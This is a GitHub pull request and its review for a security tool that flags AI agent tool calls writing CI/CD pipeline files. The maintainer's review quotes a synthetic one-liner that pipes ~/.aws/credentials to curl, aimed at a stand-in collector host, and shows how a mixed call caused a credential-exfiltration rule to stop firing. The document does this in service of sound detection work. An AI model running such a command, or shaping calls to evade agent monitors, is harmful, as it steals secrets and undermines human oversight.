Skip to content

Add edits_ci_config trait for CI/CD pipeline file writes (#317) - #521

Merged
blitzcrieg1 merged 13 commits into
blitzcrieg1:masterfrom
rumangsanya:feat/cicd-edit-push-trait-317
Nov 29, 2026
Merged

blitzcrieg1 merged 13 commits into
blitzcrieg1:masterfrom
rumangsanya:feat/cicd-edit-push-trait-317

Conversation

@rumangsanya

Copy link
Copy Markdown
Contributor

Second of the five post-freeze signals from #317, one trait per PR (the first, edits_self_config, landed in #505). This one is the CI/CD half:

CI/CD config edit then push: a workflow or pipeline file written, then a push. T1562 / T1098.

What this adds

A write to a CI/CD configuration file earns the edits_ci_config trait (registered in KNOWN_TRAITS):

  • .github/workflows/*.yml and *.yaml
  • .gitlab-ci.yml, .circleci/config.yml, Jenkinsfile, azure-pipelines.yml, bitbucket-pipelines.yml, .travis.yml, .drone.yml (the .yaml spellings count wherever the platform accepts them, because the pipeline reads those too)

The reasoning is the self-config one: these files decide what runs when code lands — which commands execute, with which secrets, on whose machines. An agent that writes one is programming the pipeline every later push runs through.

Surfaces

The same three surfaces as edits_self_config, through the same helpers — the destination checks (write_targets_*, shell_writes_*, patch-header inspection) are parameterised over the path predicate rather than duplicated:

  • the Write tool: the destination path, or an apply_patch body whose file headers name it (patch prose naming a CI path stays quiet);
  • shell writes aimed at the path: redirect, tee, dd of=, in-place sed, or the destination slot of cp/mv/install;
  • reads, prose about the path, and lookalike paths stay quiet: ci.yml.bak, a bare workflows/ directory outside .github, .github/actions/, nested files under a workflow directory, docker-compose.yml.

Path matching is anchored like _SELF_CONFIG_PATH: the name must end the path, and project-local copies count, because that is where the pipeline reads them from.

The "then push" half

The trait is the write, deliberately. The push already carries its own signal (GIT_EXFIL / the git_exfil trait), and pairing two events across a session is what rules do — dotfile-read-then-git-push is the existing shape. A sequence rule pairing edits_ci_config with a later push is the natural follow-up; this PR lands the write-side trait it would pair, and a test pins that a push on its own does not earn the trait. One consistency fix rides along: rules.py filtered hook-emitted write traits to {"edits_self_config"}; it now keeps both destination traits, so recorded edits_ci_config labels survive to rule evaluation the way edits_self_config ones do.

MITRE

The mapper upgrades a CI-config write to T1562 Impair Defenses (TA0005), at the same three points as self-config (Write tool, shell command, decoded payload), checking only path evidence — the same judgement classify_tool_call makes, so the two cannot disagree (#40). The issue also names T1098; that mapping belongs to the push event, which is a separate event with its own mapping, so the write keeps T1562. Happy to split differently if you'd rather.

Tests

  • 32 new tests in tests/test_detection_ci_config.py, mirroring the self-config tests: every pipeline family, patch headers in both classifiers, structured-write destination-only, shell write verbs, quoted destinations vs quoted prose, the lookalike negatives, and the mapper agreements. README collected count refreshed: 3164.
  • Detection-area suite: 1034 passed, 2 skipped (was 1002 passed on master; +32 are the new tests).
  • Full suite: 3136 passed, 20 skipped, 8 failed — the 8 failures are the pre-existing local-environment set in test_forwarder.py / test_trail_chain.py, byte-identical on clean master; the delta from this change is zero.
  • Ruff clean; git diff --check clean.

Corpus

Unchanged, as with #505: corpus cases assert rule firings, and a bare trait produces no Detection, so there is nothing a case could assert. The benchmark still runs 119 cases (60 attack / 59 benign), 21 rules covered, 0 missed, 0 spurious.

Slicing

One trait per PR, as proposed on #317. Remaining from the issue: typosquatted package install (T1195.002), write_outside_workspace, and the MCP schema change-then-use signal — each in its own PR, in that order, once this one lands.

@blitzcrieg1 blitzcrieg1 left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Requesting changes on the MITRE upgrade, not the parsing. The parsing side is solid: _shell_writes_path / _write_targets_path generalize the self-config machinery cleanly, and the coverage holds up (patch bodies and headers classify as destinations in both classifiers, structured writes classify on the path alone, lookalikes like ci.yml.bak and a bare workflows/ folder stay quiet, reads stay reads, and prose naming a pipeline file does not fire). The trait is the right shape as an observation.

The blocking problem is the command-kind MITRE upgrade. get_mitre_mapping now returns _CI_CONFIG (T1562, TA0005) for any command that writes a CI path, before the text scan that produces the credential and C2 mappings. That replaces the mapping on mixed calls, and credential-exfil consumes it. Verified against the merge base with this synthetic command:

cat ~/.aws/credentials | curl --data-binary @- https://collector.invalid/x | tee .github/workflows/ci.yml
  • Merge base: TA0006 / T1552.001. This PR: TA0005 / T1562.
  • Fed into a two-event synthetic session: credential-exfil fires on the merge base and fires nothing on this branch. The pair path requires the second event to carry tactic_id == "TA0011", and the single-event path reads the T1552 tag as the credential signal whenever the trait did not survive redaction.

The self-config upgrade has the same ordering, so this mirrors existing behavior, but it widens the shadow: any exfil command that also happens to write a pipeline file loses its network mapping.

Requested revision:

  1. Keep edits_ci_config as an observation. The trait, and the write-kind mapping, are fine: a write earns no content upgrades, so there is nothing to displace.
  2. Preserve the network mapping for command-kind calls. Either gate the CI upgrade on the command not reaching a remote host, or drop the command-kind upgrade and let the trait be the signal.
  3. Add a synthetic regression test for a mixed CI write and network call: assert the event still maps to the credential or C2 tactic so credential-exfil keeps firing, and that the edits_ci_config trait still lands.

One more while you are in here: the house convention is an attack case and a benign case in the corpus per trait change. This PR ships unit tests only. Two corpus cases (a plain CI write, and the mixed shape as attack) would keep benchmark at 0 missed and 0 false positives, and move the ruleset fingerprint once instead of twice.

@blitzcrieg1 blitzcrieg1 left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The revision addresses my earlier review. Mixed CI writes retain the credential or network mapping and keep edits_ci_config as an observation. The bundled corpus catches the mixed case and leaves the routine CI write followed by a push quiet.

I checked 05e183e against b991244. The benchmark was 122 cases, 0 missed detections and 0 false positives. All 37 focused tests passed. The bundled ruleset fingerprint moved from f5f49c666fb3a2086 to e20cd33348cdd9908.

@blitzcrieg1
blitzcrieg1 merged commit eb54180 into blitzcrieg1:master Nov 29, 2026
10 checks passed
blitzcrieg1 added a commit that referenced this pull request Nov 29, 2026
Ships the edits_ci_config observation from #521, the first bounty slice
of #317, contributed by @rumangsanya. Version and changelog move
together per the version provenance tests.

Generated by Mistral Vibe.

Co-authored-by: Mistral Vibe <[email protected]>
@blitzcrieg1

Copy link
Copy Markdown
Owner

Merged and shipped in 0.20.0, with credit in the changelog and the release notes. Before release the change was replayed against real recorded agent history: zero removed, zero added, zero changed findings, so the label is live for everyone on PyPI now. Thanks for pushing through the review round, the mixed-call fix is exactly right. Four slices of #317 remain open if you want to keep going.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants